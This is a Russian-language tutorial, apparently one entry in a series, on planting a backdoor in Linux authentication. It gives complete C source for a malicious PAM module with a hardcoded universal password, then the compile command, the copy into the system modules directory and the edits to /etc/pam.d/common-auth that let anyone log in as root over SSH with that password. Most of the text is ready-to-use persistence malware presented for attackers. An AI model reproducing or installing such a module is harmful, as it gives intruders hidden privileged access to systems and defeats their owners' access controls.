12 - PAM backdoor

PAM - Pluggable Authentication Modules, гибкая систСма для ΠΈΠ½Ρ‚Π΅Π³Ρ€Π°Ρ†ΠΈΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² UNIX-ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… систСмах, ΠΏΡ€ΠΈΠ²Π΅Ρ‚ Sun Microsystems. И Π΅ΡΡ‚ΡŒ ΠΎΠ½Π° ΠΏΠΎΡ‡Ρ‚ΠΈ Π²Π΅Π·Π΄Π΅ Π² Linux ΠΈ UNIX-ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… систСмах. ΠšΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΡ PAM осущСствляСтся Ρ‡Π΅Ρ€Π΅Π· Ρ„Π°ΠΉΠ»Ρ‹, располоТСнныС Π² ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π΅ /etc/pam.d/ Π’Π°ΠΌ ΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΏΡ€Π°Π²ΠΈΠ»Π° для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… сСрвисов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: login, ssh, su, sudo). Плюс PAM управляСт Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: auth, account, password, session). Π—Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Ссли Ρƒ PAM Ρ‚Π°ΠΊΠΈΠ΅ возмоТности, Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ свой ΠΌΠΎΠ΄ΡƒΠ»ΡŒ PAM, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Π₯Π°Ρ€Π΄ΠšΠΎΠ΄Π΅Π½ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹ΠΉ root ΠΏΠ°Ρ€ΠΎΠ»ΡŒ. Π’ΠΎ Π΅ΡΡ‚ΡŒ Ρƒ Ρ€ΡƒΡ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ 2 пароля, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ - Π»Π΅Π³ΠΈΡ‚ΠΈΠΌΠ½Ρ‹ΠΉ установлСнный Π°Π΄ΠΌΠΈΠ½ΠΎΠΌ ΠΈ Π²Ρ‚ΠΎΡ€ΠΎΠΉ - наш, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ хранится Π²ΠΎ врСдоносном PAM ΠΌΠΎΠ΄ΡƒΠ»Π΅. НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ Π² ваш дистрибутив для сборки модуля, для debian это: libpam0g-dev

// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π½Π° БИ  backdoor.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
 
#define MYPASSWD "doom001"
 
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
 
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
 
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
 
return -1;
}
// ΠšΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ΠΈ пСрСносим Π² ΠΏΠ°ΠΏΠΊΡƒ с ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ модулями (ΠΏΡƒΡ‚ΠΈ ΠΌΠΎΠ³Ρƒ ΠΎΡ‚Π»ΠΈΡ‡Π°Ρ‚ΡŒΡΡ)
gcc -shared -fPIC -ldl -o backdoor.so backdoor.c
mv backdoor.so /lib/x86_64-linux-gnu/security/
// Π˜Ρ‰Π΅ΠΌ строку Π² /etc/pam.d/common-auth
auth    [success=1 default=ignore]  <имя модуля> 
// ΠΈ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΠΌ Π΅Π΅ ΠΊ Π²ΠΈΠ΄Ρƒ:
auth	sufficient	<имя модуля>    


// И ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ строкой дописываСм наш ΠΌΠΎΠ΄ΡƒΠ»ΡŒ
auth	sufficient	backdoor.so

Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈ Π»ΠΎΠ³ΠΈΠ½Π΅ ΠΏΠΎ SSH нас Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ с ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΌ doom001

Last updated